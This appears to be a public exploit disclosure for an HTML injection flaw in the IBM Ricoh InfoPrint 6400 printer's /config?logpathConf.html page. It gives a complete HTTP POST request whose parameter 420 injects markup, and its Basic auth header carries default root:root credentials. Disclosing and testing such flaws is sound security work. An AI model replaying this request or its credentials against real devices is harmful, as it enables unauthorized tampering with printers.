IBM RICOH 6400 Printer - HTML Injection

# Exploit Title: IBM RICOH 6400 Printer - HTML Injection
# Date: 2020-01-02 
# Exploit Author: Ismail Tasdelen
# Vendor Homepage: https://www.ibm.com/il-en
# Hardware Link: https://www-01.ibm.com/common/ssi/cgi-bin/ssialias?infotype=AN&subtype=CA&htmlfid=649/ENUSA02-1405&appname=USN
# Firmware Version: 1.1.26.3
# Vulernability Type: Code Injection
# Vulenrability: HTML Injection
# CVE: N/A

# Description :
# Ricoh InfoPrint 6400 devices allow /config?logpathConf.html
# HTML Injection by authenticated users, as demonstrated by the 420 parameter.

HTTP Request :

POST /config?logpathConf.html HTTP/1.1
Host: SERVER
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 54
Origin: SERVER
Authorization: Basic cm9vdDpyb290
Connection: close
Referer: http://SERVER/config?logpathConf.html
Upgrade-Insecure-Requests: 1

428=&420=%22%3E%3Cmarquee%3EIsmail+Tasdelen&548=5&564=

HTTP Response :

HTTP/1.0 200 OK
Server: Microplex emHTTPD/1.0
Content-Type: text/html